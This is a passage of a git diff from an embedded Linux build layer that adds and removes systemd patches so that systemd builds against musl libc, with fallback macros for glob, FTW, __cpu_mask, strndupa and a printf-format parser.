- 'gcrypt-util.h')
-Index: systemd-stable/src/basic/parse-printf-format.c
-===================================================================
---- /dev/null
-+++ systemd-stable/src/basic/parse-printf-format.c
-@@ -0,0 +1,273 @@
-+/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
-+
-+/***
-+ This file is part of systemd.
-+
-+ Copyright 2014 Emil Renner Berthing <systemd@esmil.dk>
-+
-+ With parts from the musl C library
-+ Copyright 2005-2014 Rich Felker, et al.
-+
-+ systemd is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Lesser General Public License as published by
-+ the Free Software Foundation; either version 2.1 of the License, or
-+ (at your option) any later version.
-+
-+ systemd is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public License
-+ along with systemd; If not, see <http://www.gnu.org/licenses/>.
-+***/
-+
-+#include <stddef.h>
-+#include <string.h>
-+
-+#include "parse-printf-format.h"
-+
-+static const char *consume_nonarg(const char *fmt)
-+{
-+ do {
-+ if (*fmt == '\0')
-+ return fmt;
-+ } while (*fmt++ != '%');
-+ return fmt;
-+}
-+
-+static const char *consume_num(const char *fmt)
-+{
-+ for (;*fmt >= '0' && *fmt <= '9'; fmt++)
-+ /* do nothing */;
-+ return fmt;
-+}
-+
-+static const char *consume_argn(const char *fmt, size_t *arg)
-+{
-+ const char *p = fmt;
-+ size_t val = 0;
-+
-+ if (*p < '1' || *p > '9')
-+ return fmt;
-+ do {
-+ val = 10*val + (*p++ - '0');
-+ } while (*p >= '0' && *p <= '9');
-+
-+ if (*p != '$')
-+ return fmt;
-+ *arg = val;
-+ return p+1;
-+}
-+
-+static const char *consume_flags(const char *fmt)
-+{
-+ while (1) {
-+ switch (*fmt) {
-+ case '#':
-+ case '0':
-+ case '-':
-+ case ' ':
-+ case '+':
-+ case '\'':
-+ case 'I':
-+ fmt++;
-+ continue;
-+ }
-+ return fmt;
-+ }
-+}
-+
-+enum state {
-+ BARE,
-+ LPRE,
-+ LLPRE,
-+ HPRE,
-+ HHPRE,
-+ BIGLPRE,
-+ ZTPRE,
-+ JPRE,
-+ STOP
-+};
-+
-+enum type {
-+ NONE,
-+ PTR,
-+ INT,
-+ UINT,
-+ ULLONG,
-+ LONG,
-+ ULONG,
-+ SHORT,
-+ USHORT,
-+ CHAR,
-+ UCHAR,
-+ LLONG,
-+ SIZET,
-+ IMAX,
-+ UMAX,
-+ PDIFF,
-+ UIPTR,
-+ DBL,
-+ LDBL,
-+ MAXTYPE
-+};
-+
-+static const short pa_types[MAXTYPE] = {
-+ [NONE] = PA_INT,
-+ [PTR] = PA_POINTER,
-+ [INT] = PA_INT,
-+ [UINT] = PA_INT,
-+ [ULLONG] = PA_INT | PA_FLAG_LONG_LONG,
-+ [LONG] = PA_INT | PA_FLAG_LONG,
-+ [ULONG] = PA_INT | PA_FLAG_LONG,
-+ [SHORT] = PA_INT | PA_FLAG_SHORT,
-+ [USHORT] = PA_INT | PA_FLAG_SHORT,
-+ [CHAR] = PA_CHAR,
-+ [UCHAR] = PA_CHAR,
-+ [LLONG] = PA_INT | PA_FLAG_LONG_LONG,
-+ [SIZET] = PA_INT | PA_FLAG_LONG,
-+ [IMAX] = PA_INT | PA_FLAG_LONG_LONG,
-+ [UMAX] = PA_INT | PA_FLAG_LONG_LONG,
-+ [PDIFF] = PA_INT | PA_FLAG_LONG_LONG,
-+ [UIPTR] = PA_INT | PA_FLAG_LONG,
-+ [DBL] = PA_DOUBLE,
-+ [LDBL] = PA_DOUBLE | PA_FLAG_LONG_DOUBLE
-+};
-+
-+#define S(x) [(x)-'A']
-+#define E(x) (STOP + (x))
-+
-+static const unsigned char states[]['z'-'A'+1] = {
-+ { /* 0: bare types */
-+ S('d') = E(INT), S('i') = E(INT),
-+ S('o') = E(UINT),S('u') = E(UINT),S('x') = E(UINT), S('X') = E(UINT),
-+ S('e') = E(DBL), S('f') = E(DBL), S('g') = E(DBL), S('a') = E(DBL),
-+ S('E') = E(DBL), S('F') = E(DBL), S('G') = E(DBL), S('A') = E(DBL),
-+ S('c') = E(CHAR),S('C') = E(INT),
-+ S('s') = E(PTR), S('S') = E(PTR), S('p') = E(UIPTR),S('n') = E(PTR),
-+ S('m') = E(NONE),
-+ S('l') = LPRE, S('h') = HPRE, S('L') = BIGLPRE,
-+ S('z') = ZTPRE, S('j') = JPRE, S('t') = ZTPRE
-+ }, { /* 1: l-prefixed */
-+ S('d') = E(LONG), S('i') = E(LONG),
-+ S('o') = E(ULONG),S('u') = E(ULONG),S('x') = E(ULONG),S('X') = E(ULONG),
-+ S('e') = E(DBL), S('f') = E(DBL), S('g') = E(DBL), S('a') = E(DBL),
-+ S('E') = E(DBL), S('F') = E(DBL), S('G') = E(DBL), S('A') = E(DBL),
-+ S('c') = E(INT), S('s') = E(PTR), S('n') = E(PTR),
-+ S('l') = LLPRE
-+ }, { /* 2: ll-prefixed */
-+ S('d') = E(LLONG), S('i') = E(LLONG),
-+ S('o') = E(ULLONG),S('u') = E(ULLONG),
-+ S('x') = E(ULLONG),S('X') = E(ULLONG),
-+ S('n') = E(PTR)
-+ }, { /* 3: h-prefixed */
-+ S('d') = E(SHORT), S('i') = E(SHORT),
-+ S('o') = E(USHORT),S('u') = E(USHORT),
-+ S('x') = E(USHORT),S('X') = E(USHORT),
-+ S('n') = E(PTR),
-+ S('h') = HHPRE
-+ }, { /* 4: hh-prefixed */
-+ S('d') = E(CHAR), S('i') = E(CHAR),
-+ S('o') = E(UCHAR),S('u') = E(UCHAR),
-+ S('x') = E(UCHAR),S('X') = E(UCHAR),
-+ S('n') = E(PTR)
-+ }, { /* 5: L-prefixed */
-+ S('e') = E(LDBL),S('f') = E(LDBL),S('g') = E(LDBL), S('a') = E(LDBL),
-+ S('E') = E(LDBL),S('F') = E(LDBL),S('G') = E(LDBL), S('A') = E(LDBL),
-+ S('n') = E(PTR)
-+ }, { /* 6: z- or t-prefixed (assumed to be same size) */
-+ S('d') = E(PDIFF),S('i') = E(PDIFF),
-+ S('o') = E(SIZET),S('u') = E(SIZET),
-+ S('x') = E(SIZET),S('X') = E(SIZET),
-+ S('n') = E(PTR)
-+ }, { /* 7: j-prefixed */
-+ S('d') = E(IMAX), S('i') = E(IMAX),
-+ S('o') = E(UMAX), S('u') = E(UMAX),
-+ S('x') = E(UMAX), S('X') = E(UMAX),
-+ S('n') = E(PTR)
-+ }
-+};
-+
-+size_t parse_printf_format(const char *fmt, size_t n, int *types)
-+{
-+ size_t i = 0;
-+ size_t last = 0;
-+
-+ memset(types, 0, n);
-+
-+ while (1) {
-+ size_t arg;
-+ unsigned int state;
-+
-+ fmt = consume_nonarg(fmt);
-+ if (*fmt == '\0')
-+ break;
-+ if (*fmt == '%') {
-+ fmt++;
-+ continue;
-+ }
-+ arg = 0;
-+ fmt = consume_argn(fmt, &arg);
-+ /* flags */
-+ fmt = consume_flags(fmt);
-+ /* width */
-+ if (*fmt == '*') {
-+ size_t warg = 0;
-+ fmt = consume_argn(fmt+1, &warg);
-+ if (warg == 0)
-+ warg = ++i;
-+ if (warg > last)
-+ last = warg;
-+ if (warg <= n && types[warg-1] == NONE)
-+ types[warg-1] = INT;
-+ } else
-+ fmt = consume_num(fmt);
-+ /* precision */
-+ if (*fmt == '.') {
-+ fmt++;
-+ if (*fmt == '*') {
-+ size_t parg = 0;
-+ fmt = consume_argn(fmt+1, &parg);
-+ if (parg == 0)
-+ parg = ++i;
-+ if (parg > last)
-+ last = parg;
-+ if (parg <= n && types[parg-1] == NONE)
-+ types[parg-1] = INT;
-+ } else {
-+ if (*fmt == '-')
-+ fmt++;
-+ fmt = consume_num(fmt);
-+ }
-+ }
-+ /* length modifier and conversion specifier */
-+ state = BARE;
-+ do {
-+ unsigned char c = *fmt++;
-+
-+ if (c < 'A' || c > 'z')
-+ continue;
-+ state = states[state]S(c);
-+ if (state == 0)
-+ continue;
-+ } while (state < STOP);
-+
-+ if (state == E(NONE))
-+ continue;
-+
-+ if (arg == 0)
-+ arg = ++i;
-+ if (arg > last)
-+ last = arg;
-+ if (arg <= n)
-+ types[arg-1] = state - STOP;
-+ }
-+
-+ if (last > n)
-+ last = n;
-+ for (i = 0; i < last; i++)
-+ types[i] = pa_types[types[i]];
-+
-+ return last;
-+}
-Index: systemd-stable/src/basic/parse-printf-format.h
-===================================================================
---- /dev/null
-+++ systemd-stable/src/basic/parse-printf-format.h
-@@ -0,0 +1,57 @@
-+/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
-+
-+/***
-+ This file is part of systemd.
-+
-+ Copyright 2014 Emil Renner Berthing <systemd@esmil.dk>
-+
-+ With parts from the GNU C Library
-+ Copyright 1991-2014 Free Software Foundation, Inc.
-+
-+ systemd is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Lesser General Public License as published by
-+ the Free Software Foundation; either version 2.1 of the License, or
-+ (at your option) any later version.
-+
-+ systemd is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public License
-+ along with systemd; If not, see <http://www.gnu.org/licenses/>.
-+***/
-+
-+#pragma once
-+
-+#include "config.h"
-+
-+#if HAVE_PRINTF_H
-+#include <printf.h>
-+#else
-+
-+#include <stddef.h>
-+
-+enum { /* C type: */
-+ PA_INT, /* int */
-+ PA_CHAR, /* int, cast to char */
-+ PA_WCHAR, /* wide char */
-+ PA_STRING, /* const char *, a '\0'-terminated string */
-+ PA_WSTRING, /* const wchar_t *, wide character string */
-+ PA_POINTER, /* void * */
-+ PA_FLOAT, /* float */
-+ PA_DOUBLE, /* double */
-+ PA_LAST
-+};
-+
-+/* Flag bits that can be set in a type returned by `parse_printf_format'. */
-+#define PA_FLAG_MASK 0xff00
-+#define PA_FLAG_LONG_LONG (1 << 8)
-+#define PA_FLAG_LONG_DOUBLE PA_FLAG_LONG_LONG
-+#define PA_FLAG_LONG (1 << 9)
-+#define PA_FLAG_SHORT (1 << 10)
-+#define PA_FLAG_PTR (1 << 11)
-+
-+size_t parse_printf_format(const char *fmt, size_t n, int *types);
-+
-+#endif /* HAVE_PRINTF_H */
-Index: systemd-stable/src/basic/stdio-util.h
-===================================================================
---- systemd-stable.orig/src/basic/stdio-util.h
-+++ systemd-stable/src/basic/stdio-util.h
-@@ -1,13 +1,13 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
- #pragma once
-
--#include <printf.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <sys/types.h>
-
- #include "macro.h"
- #include "memory-util.h"
-+#include "parse-printf-format.h"
-
- #define snprintf_ok(buf, len, fmt, ...) \
- ((size_t) snprintf(buf, len, fmt, __VA_ARGS__) < (len))
-Index: systemd-stable/src/journal/journal-send.c
-===================================================================
---- systemd-stable.orig/src/journal/journal-send.c
-+++ systemd-stable/src/journal/journal-send.c
-@@ -2,7 +2,6 @@
-
- #include <errno.h>
- #include <fcntl.h>
--#include <printf.h>
- #include <stddef.h>
- #include <sys/un.h>
- #include <unistd.h>
-@@ -21,6 +20,7 @@
- #include "stdio-util.h"
- #include "string-util.h"
- #include "tmpfile-util.h"
-+#include "parse-printf-format.h"
-
- #define SNDBUF_SIZE (8*1024*1024)
-
diff --git a/meta/recipes-core/systemd/systemd/0004-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch b/meta/recipes-core/systemd/systemd/0004-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
new file mode 100644
index 0000000000..15877bea88
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0004-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
@@ -0,0 +1,156 @@
+From 5325ab5813617f35f03806ec420829dde7104387 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 14:56:21 +0800
+Subject: [PATCH 04/22] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not
+ defined
+
+If the standard library doesn't provide brace
+expansion users just won't get it.
+
+Dont use GNU GLOB extentions on non-glibc systems
+
+Conditionalize use of GLOB_ALTDIRFUNC
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+---
+ src/basic/glob-util.c | 12 ++++++++++++
+ src/test/test-glob-util.c | 16 ++++++++++++++++
+ src/tmpfiles/tmpfiles.c | 10 ++++++++++
+ 3 files changed, 38 insertions(+)
+
+diff --git a/src/basic/glob-util.c b/src/basic/glob-util.c
+index 802ca8c655..23818a67c6 100644
+--- a/src/basic/glob-util.c
++++ b/src/basic/glob-util.c
+@@ -12,6 +12,12 @@
+ #include "path-util.h"
+ #include "strv.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ static void closedir_wrapper(void* v) {
+ (void) closedir(v);
+ }
+@@ -19,6 +25,7 @@ static void closedir_wrapper(void* v) {
+ int safe_glob(const char *path, int flags, glob_t *pglob) {
+ int k;
+
++#ifdef GLOB_ALTDIRFUNC
+ /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
+ assert(!(flags & GLOB_ALTDIRFUNC));
+
+@@ -32,9 +39,14 @@ int safe_glob(const char *path, int flags, glob_t *pglob) {
+ pglob->gl_lstat = lstat;
+ if (!pglob->gl_stat)
+ pglob->gl_stat = stat;
++#endif
+
+ errno = 0;
++#ifdef GLOB_ALTDIRFUNC
+ k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
++#else
++ k = glob(path, flags, NULL, pglob);
++#endif
+ if (k == GLOB_NOMATCH)
+ return -ENOENT;
+ if (k == GLOB_NOSPACE)
+diff --git a/src/test/test-glob-util.c b/src/test/test-glob-util.c
+index 9b3e73cce0..3790ba3be5 100644
+--- a/src/test/test-glob-util.c
++++ b/src/test/test-glob-util.c
+@@ -34,6 +34,12 @@ TEST(glob_first) {
+ assert_se(first == NULL);
+ }
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ TEST(glob_exists) {
+ char name[] = "/tmp/test-glob_exists.XXXXXX";
+ int fd = -EBADF;
+@@ -61,11 +67,13 @@ TEST(glob_no_dot) {
+ const char *fn;
+
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_closedir = closedir_wrapper,
+ .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
+ .gl_opendir = (void *(*)(const char *)) opendir,
+ .gl_lstat = lstat,
+ .gl_stat = stat,
++#endif
+ };
+
+ int r;
+@@ -73,11 +81,19 @@ TEST(glob_no_dot) {
+ assert_se(mkdtemp(template));
+
+ fn = strjoina(template, "/*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ fn = strjoina(template, "/.*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
+diff --git a/src/tmpfiles/tmpfiles.c b/src/tmpfiles/tmpfiles.c
+index 230ec09b97..2cc5f391d7 100644
+--- a/src/tmpfiles/tmpfiles.c
++++ b/src/tmpfiles/tmpfiles.c
+@@ -73,6 +73,12 @@
+ #include "user-util.h"
+ #include "virt.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
+ * them in the file system. This is intended to be used to create
+ * properly owned directories beneath /tmp, /var/tmp, /run, which are
+@@ -2434,7 +2440,9 @@ finish:
+
+ static int glob_item(Context *c, Item *i, action_t action) {
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+
+@@ -2461,7 +2469,9 @@ static int glob_item_recursively(
+ fdaction_t action) {
+
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch b/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
deleted file mode 100644
index d394444c1c..0000000000
--- a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From dbe8b3ee45580defeefcac929b897c5437ffc50b Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Handle __cpu_mask usage
-
-Fixes errors:
-
-src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
-src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
-
-__cpu_mask is an internal type of glibc's cpu_set implementation, not
-part of the POSIX definition, which is problematic when building with
-musl, which does not define a matching type. From inspection of musl's
-sched.h, however, it is clear that the corresponding type would be
-unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
-add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/shared/cpu-set-util.h | 2 ++
- src/test/test-sizeof.c | 2 +-
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
-index 27812dfd5923..0ab40731ea93 100644
---- a/src/shared/cpu-set-util.h
-+++ b/src/shared/cpu-set-util.h
-@@ -6,6 +6,8 @@
- #include "macro.h"
- #include "missing_syscall.h"
-
-+typedef unsigned long __cpu_mask;
-+
- /* This wraps the libc interface with a variable to keep the allocated size. */
- typedef struct CPUSet {
- cpu_set_t *set;
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index c65062d2562c..8b6eefa9cdae 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -1,6 +1,5 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
--#include <sched.h>
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
-@@ -10,6 +9,7 @@
- #include <float.h>
-
- #include "time-util.h"
-+#include "cpu-set-util.h"
-
- /* Print information about various types. Useful when diagnosing
- * gcc diagnostics on an unfamiliar architecture. */
diff --git a/meta/recipes-core/systemd/systemd/0005-add-missing-FTW_-macros-for-musl.patch b/meta/recipes-core/systemd/systemd/0005-add-missing-FTW_-macros-for-musl.patch
new file mode 100644
index 0000000000..a1dfca22cd
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0005-add-missing-FTW_-macros-for-musl.patch
@@ -0,0 +1,44 @@
+From dad7f897c0de654fa5592fda3e90f874639849f9 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:00:06 +0800
+Subject: [PATCH 05/22] add missing FTW_ macros for musl
+
+This is to avoid build failures like below for musl.
+
+ locale-util.c:296:24: error: 'FTW_STOP' undeclared
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/basic/missing_type.h | 4 ++++
+ src/test/test-recurse-dir.c | 1 +
+ 2 files changed, 5 insertions(+)
+
+diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
+index 6c0456349d..73a5b90e3c 100644
+--- a/src/basic/missing_type.h
++++ b/src/basic/missing_type.h
+@@ -14,3 +14,7 @@
+ #ifndef __GLIBC__
+ typedef int (*comparison_fn_t)(const void *, const void *);
+ #endif
++
++#ifndef FTW_CONTINUE
++#define FTW_CONTINUE 0
++#endif
+diff --git a/src/test/test-recurse-dir.c b/src/test/test-recurse-dir.c
+index 8684d064ec..70fc2b5376 100644
+--- a/src/test/test-recurse-dir.c
++++ b/src/test/test-recurse-dir.c
+@@ -8,6 +8,7 @@
+ #include "recurse-dir.h"
+ #include "strv.h"
+ #include "tests.h"
++#include "missing_type.h"
+
+ static char **list_nftw = NULL;
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch b/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
deleted file mode 100644
index 8e7a2fb6e4..0000000000
--- a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
+++ /dev/null
@@ -1,679 +0,0 @@
-From 7e771de87cf728a8678f1f28f391bba3589e2496 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:18:21 +0800
-Subject: [PATCH] src/basic/missing.h: check for missing strndupa
-
-include missing.h for definition of strndupa
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
-[rebased for systemd 244]
-
----
- meson.build | 1 +
- src/backlight/backlight.c | 1 +
- src/basic/cgroup-util.c | 1 +
- src/basic/env-util.c | 1 +
- src/basic/log.c | 1 +
- src/basic/missing_stdlib.h | 12 ++++++++++++
- src/basic/mkdir.c | 1 +
- src/basic/parse-util.c | 1 +
- src/basic/path-lookup.c | 1 +
- src/basic/proc-cmdline.c | 1 +
- src/basic/procfs-util.c | 1 +
- src/basic/selinux-util.c | 1 +
- src/basic/time-util.c | 1 +
- src/boot/bless-boot.c | 1 +
- src/core/dbus-cgroup.c | 1 +
- src/core/dbus-execute.c | 1 +
- src/core/dbus-util.c | 1 +
- src/core/execute.c | 1 +
- src/core/kmod-setup.c | 1 +
- src/core/service.c | 1 +
- src/coredump/coredump-vacuum.c | 1 +
- src/journal-remote/journal-remote-main.c | 1 +
- src/journal/journalctl.c | 1 +
- src/journal/sd-journal.c | 1 +
- src/libsystemd/sd-bus/bus-message.c | 1 +
- src/libsystemd/sd-bus/bus-objects.c | 1 +
- src/libsystemd/sd-bus/bus-socket.c | 1 +
- src/libsystemd/sd-bus/sd-bus.c | 1 +
- src/libsystemd/sd-bus/test-bus-benchmark.c | 1 +
- src/locale/keymap-util.c | 1 +
- src/login/pam_systemd.c | 1 +
- src/network/generator/network-generator.c | 1 +
- src/nspawn/nspawn-settings.c | 1 +
- src/nss-mymachines/nss-mymachines.c | 1 +
- src/portable/portable.c | 1 +
- src/resolve/resolvectl.c | 1 +
- src/shared/bus-get-properties.c | 1 +
- src/shared/bus-unit-procs.c | 1 +
- src/shared/bus-unit-util.c | 1 +
- src/shared/bus-util.c | 1 +
- src/shared/dns-domain.c | 1 +
- src/shared/journal-importer.c | 1 +
- src/shared/logs-show.c | 1 +
- src/shared/pager.c | 1 +
- src/shared/uid-range.c | 1 +
- src/socket-proxy/socket-proxyd.c | 1 +
- src/test/test-hexdecoct.c | 1 +
- src/udev/udev-builtin-path_id.c | 1 +
- src/udev/udev-event.c | 1 +
- src/udev/udev-rules.c | 1 +
- 50 files changed, 61 insertions(+)
-
-diff --git a/meson.build b/meson.build
-index 9187439bdd..bea9935a91 100644
---- a/meson.build
-+++ b/meson.build
-@@ -527,6 +527,7 @@ foreach ident : [
- #include <unistd.h>
- #include <signal.h>
- #include <sys/wait.h>'''],
-+ ['strndupa' , '''#include <string.h>'''],
- ]
-
- have = cc.has_function(ident[0], prefix : ident[1], args : '-D_GNU_SOURCE')
-diff --git a/src/backlight/backlight.c b/src/backlight/backlight.c
-index 3a644363e1..73946a829b 100644
---- a/src/backlight/backlight.c
-+++ b/src/backlight/backlight.c
-@@ -17,6 +17,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- static int find_pci_or_platform_parent(sd_device *device, sd_device **ret) {
- const char *subsystem, *sysname, *value;
-diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
-index e94fcfad02..856a7068b0 100644
---- a/src/basic/cgroup-util.c
-+++ b/src/basic/cgroup-util.c
-@@ -38,6 +38,7 @@
- #include "unit-name.h"
- #include "user-util.h"
- #include "xattr-util.h"
-+#include "missing_stdlib.h"
-
- static int cg_enumerate_items(const char *controller, const char *path, FILE **_f, const char *item) {
- _cleanup_free_ char *fs = NULL;
-diff --git a/src/basic/env-util.c b/src/basic/env-util.c
-index b8dc98915f..5049b37594 100644
---- a/src/basic/env-util.c
-+++ b/src/basic/env-util.c
-@@ -15,6 +15,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- #define VALID_CHARS_ENV_NAME \
- DIGITS LETTERS \
-diff --git a/src/basic/log.c b/src/basic/log.c
-index c6fe203808..b7ef932d28 100644
---- a/src/basic/log.c
-+++ b/src/basic/log.c
-@@ -35,6 +35,7 @@
- #include "terminal-util.h"
- #include "time-util.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- #define SNDBUF_SIZE (8*1024*1024)
-
-diff --git a/src/basic/missing_stdlib.h b/src/basic/missing_stdlib.h
-index 188a8d4406..1e16ec287a 100644
---- a/src/basic/missing_stdlib.h
-+++ b/src/basic/missing_stdlib.h
-@@ -11,3 +11,15 @@
- # error "neither secure_getenv nor __secure_getenv are available"
- # endif
- #endif
-+
-+/* string.h */
-+#if ! HAVE_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = (char *)alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ (char *)memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/src/basic/mkdir.c b/src/basic/mkdir.c
-index 6ebc2b95fd..88f4359bab 100644
---- a/src/basic/mkdir.c
-+++ b/src/basic/mkdir.c
-@@ -13,6 +13,7 @@
- #include "stat-util.h"
- #include "stdio-util.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- int mkdir_safe_internal(
- const char *path,
-diff --git a/src/basic/parse-util.c b/src/basic/parse-util.c
-index 44f0438cf4..54b4133343 100644
---- a/src/basic/parse-util.c
-+++ b/src/basic/parse-util.c
-@@ -19,6 +19,7 @@
- #include "stat-util.h"
- #include "string-util.h"
- #include "strv.h"
-+#include "missing_stdlib.h"
-
- int parse_boolean(const char *v) {
- if (!v)
-diff --git a/src/basic/path-lookup.c b/src/basic/path-lookup.c
-index 52968dee34..2f4f7e3dcd 100644
---- a/src/basic/path-lookup.c
-+++ b/src/basic/path-lookup.c
-@@ -15,6 +15,7 @@
- #include "strv.h"
- #include "tmpfile-util.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- int xdg_user_runtime_dir(char **ret, const char *suffix) {
- const char *e;
-diff --git a/src/basic/proc-cmdline.c b/src/basic/proc-cmdline.c
-index ba47ca5812..8baf728fde 100644
---- a/src/basic/proc-cmdline.c
-+++ b/src/basic/proc-cmdline.c
-@@ -15,6 +15,7 @@
- #include "string-util.h"
- #include "util.h"
- #include "virt.h"
-+#include "missing_stdlib.h"
-
- int proc_cmdline(char **ret) {
- const char *e;
-diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
-index 7aaf95bfce..da7e836f14 100644
---- a/src/basic/procfs-util.c
-+++ b/src/basic/procfs-util.c
-@@ -11,6 +11,7 @@
- #include "procfs-util.h"
- #include "stdio-util.h"
- #include "string-util.h"
-+#include "missing_stdlib.h"
-
- int procfs_tasks_get_limit(uint64_t *ret) {
- _cleanup_free_ char *value = NULL;
-diff --git a/src/basic/selinux-util.c b/src/basic/selinux-util.c
-index c94ee26bd9..14e35b4653 100644
---- a/src/basic/selinux-util.c
-+++ b/src/basic/selinux-util.c
-@@ -27,6 +27,7 @@
- #include "selinux-util.h"
- #include "stdio-util.h"
- #include "time-util.h"
-+#include "missing_stdlib.h"
-
- #if HAVE_SELINUX
- DEFINE_TRIVIAL_CLEANUP_FUNC(context_t, context_free);
-diff --git a/src/basic/time-util.c b/src/basic/time-util.c
-index 15cc1b8851..02bb3f01f9 100644
---- a/src/basic/time-util.c
-+++ b/src/basic/time-util.c
-@@ -26,6 +26,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "time-util.h"
-+#include "missing_stdlib.h"
-
- static clockid_t map_clock_id(clockid_t c) {
-
